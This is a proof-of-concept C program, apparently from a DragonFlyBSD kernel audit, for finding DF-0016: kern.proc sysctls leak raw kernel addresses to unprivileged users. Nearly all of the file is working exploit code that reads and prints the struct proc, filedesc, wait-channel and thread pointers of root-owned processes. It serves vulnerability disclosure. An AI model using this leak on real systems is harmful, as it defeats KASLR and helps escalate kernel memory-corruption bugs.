DragonFlyBSD Kernel Audit
DF-0016 / leak_kinfo.c
← back to finding ↓ download raw
/*
 * DF-0016 PoC - kinfo_proc (kern.proc.*) exports unredacted kernel pointers.
 *
 * fill_kinfo_proc (sys/kern/kern_kinfo.c:128-129) and fill_kinfo_lwp /
 * fill_kinfo_proc_kthread (kern_kinfo.c:272,301,321) fill user-visible
 * kinfo_proc / kinfo_lwp fields with RAW kernel virtual addresses:
 *
 *     kp->kp_paddr   = (uintptr_t)p;                 // kern_kinfo.c:128
 *     kp->kp_fd      = (uintptr_t)p->p_fd;           // kern_kinfo.c:129
 *     kl->kl_wchan   = (uintptr_t)td_wchan;          // kern_kinfo.c:272
 *     kp->kp_ktaddr  = (uintptr_t)td;                // kern_kinfo.c:301
 *     kp->kp_lwp.kl_wchan = (uintptr_t)td->td_wchan; // kern_kinfo.c:321
 *
 * These are copied out unredacted via the world-readable kern.proc.* sysctls
 * (sysctl_out_proc at kern_proc.c:1603/1612/1633). sysctl_kern_proc for
 * KERN_PROC_PID only checks PRISON_CHECK (kern_proc.c:1690), NOT p_trespass,
 * so an unprivileged user can read the kinfo_proc of ANY pid (including
 * root's) and recover its struct-proc / filedesc slab address and wait-channel.
 * KASLR-bypass + slab-layout primitive that escalates heap-corruption bugs.
 *
 * Build (DragonFlyBSD amd64): cc -o leak_kinfo leak_kinfo.c
 * Run as an UNPRIVILEGED user:  ./leak_kinfo
 *
 * Expected (bug present): prints non-zero kernel addresses for kp_paddr and
 * kp_fd for each pid (struct proc / filedesc slab addresses), stable across
 * reads; exits 0. On a fixed kernel the fields are zeroed -> exits 2.
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/user.h>		/* struct kinfo_proc */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* amd64 canonical kernel half: 0xffff800000000000 .. 0xffffffffffffffff.
 * Covers DragonFly's DMAP/heap (0xfffff8xxxxxxxxxx) and kernel text
 * (0xffffffff8xxxxxxx). */
static int
looks_like_kaddr(unsigned long long v)
{
	return (v >= 0xffff800000000000ULL);
}

static int
read_kinfo(int pid, struct kinfo_proc *kp)
{
	int name[4] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, pid };
	size_t len = sizeof(*kp);
	memset(kp, 0, sizeof(*kp));
	if (sysctl(name, 4, kp, &len, NULL, 0) != 0)
		return -1;
	if (len == 0)
		return -1;
	return 0;
}

static int
leaked_for_pid(int pid, int verbose)
{
	struct kinfo_proc kp;
	unsigned long long pa, fd, wchan, ktaddr;
	int leaked = 0;

	if (read_kinfo(pid, &kp) != 0) {
		if (verbose) printf("  pid %-6d : (no kinfo / ENOENT)\n", pid);
		return 0;
	}
	pa     = (unsigned long long)kp.kp_paddr;
	fd     = (unsigned long long)kp.kp_fd;
	wchan  = (unsigned long long)kp.kp_lwp.kl_wchan;
	ktaddr = (unsigned long long)kp.kp_ktaddr;
	if (verbose) {
		printf("  pid %-6d uid=%-4d comm=%-16s\n", pid, kp.kp_uid, kp.kp_comm);
		printf("      kp_paddr   = 0x%016llx  %s\n", pa,
		       looks_like_kaddr(pa) ? "(struct proc slab)" : "");
		printf("      kp_fd      = 0x%016llx  %s\n", fd,
		       looks_like_kaddr(fd) ? "(filedesc slab)" : "");
		printf("      kl_wchan   = 0x%016llx  %s\n", wchan,
		       looks_like_kaddr(wchan) ? "(wait channel)" : "");
		printf("      kp_ktaddr  = 0x%016llx  %s\n", ktaddr,
		       looks_like_kaddr(ktaddr) ? "(kthread addr)" : "");
	}
	if (looks_like_kaddr(pa))     leaked++;
	if (looks_like_kaddr(fd))     leaked++;
	if (looks_like_kaddr(wchan))  leaked++;
	if (looks_like_kaddr(ktaddr)) leaked++;
	return leaked;
}

int main(int argc, char **argv)
{
	printf("running as uid=%d (%s); self pid=%d\n",
	       (int)getuid(), argv[0], (int)getpid());
	printf("reading kern.proc.pid.<pid> (KERN_PROC_PID -> PRISON_CHECK only, "
	       "no p_trespass gate)\n\n");

	/* self + several root-owned daemons */
	int pids[] = { (int)getpid(), 1, 68, 285, 328, 411, 699, 730, 0 };
	int total = 0, procs_leaked = 0;
	for (int i = 0; pids[i]; i++) {
		int n = leaked_for_pid(pids[i], 1);
		if (n > 0) { total += n; procs_leaked++; }
	}

	printf("\n=== stability check: read pid 1 three times, kp_paddr must match ===\n");
	struct kinfo_proc k1, k2, k3;
	if (read_kinfo(1, &k1) == 0 && read_kinfo(1, &k2) == 0 && read_kinfo(1, &k3) == 0) {
		printf("  pid 1 kp_paddr: 0x%016llx / 0x%016llx / 0x%016llx  %s\n",
		       (unsigned long long)k1.kp_paddr,
		       (unsigned long long)k2.kp_paddr,
		       (unsigned long long)k3.kp_paddr,
		       (k1.kp_paddr == k2.kp_paddr && k2.kp_paddr == k3.kp_paddr) ?
		       "(STABLE = real struct proc address)" : "(unstable)");
		if (k1.kp_paddr == k2.kp_paddr && k2.kp_paddr == k3.kp_paddr &&
		    looks_like_kaddr(k1.kp_paddr))
			total++;
	}

	printf("\nresult: %d kernel pointers leaked across %d processes\n",
	       total, procs_leaked);
	printf("result: %s\n",
	       (total > 0)
		   ? "LEAK CONFIRMED (KASLR-defeat / slab-address primitive)"
		   : "no kernel pointers observed (fields appear redacted)");
	return (total > 0) ? 0 : 2;
}